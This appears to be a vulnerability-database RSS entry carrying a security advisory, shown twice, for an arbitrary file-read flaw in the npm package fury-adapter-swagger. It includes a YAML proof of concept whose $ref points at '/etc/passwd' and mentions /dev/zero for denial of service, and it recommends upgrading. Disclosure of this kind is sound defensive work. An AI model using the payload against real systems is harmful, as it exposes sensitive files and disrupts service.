https://db.gcve.eu Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 03 Oct 2026 15:10:52 +0000 https://db.gcve.eu/vuln/ghsa-2r7f-4h2c-5x73 <p><strong>Affected:</strong> npm: fury-adapter-swagger</p> <p>`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.</p> <p>## Proof of Concept:</p> <p>```yaml --- swagger: &#39;2.0&#39; info: title: Read local files version: &#39;1.0&#39;</p> <p>paths: /foo: get: responses: 200: description: Some description examples: text/html: example: $ref: &#39;/etc/passwd&#39; ```</p> <p>## Recommendation</p> <p>Upgrade to version 0.9.7 or later.</p> <p><strong>Affected:</strong> npm: fury-adapter-swagger</p> <p>`fury-adapter-swagger` from version 0.2.0 until version 0.9.7 has a weakness that allows an attacker to read arbitrary files off of the system. This can be used to read sensitive data, or to cause a denial of service condition by attempting to read something like `/dev/zero`.</p> <p>## Proof of Concept:</p> <p>```yaml --- swagger: &#39;2.0&#39; info: title: Read local files version: &#39;1.0&#39;</p> <p>paths: /foo: get: responses: 200: description: Some description examples: text/html: example: $ref: &#39;/etc/passwd&#39; ```</p> <p>## Recommendation</p> <p>Upgrade to version 0.9.7 or later.</p> https://db.gcve.eu/vuln/ghsa-2r7f-4h2c-5x73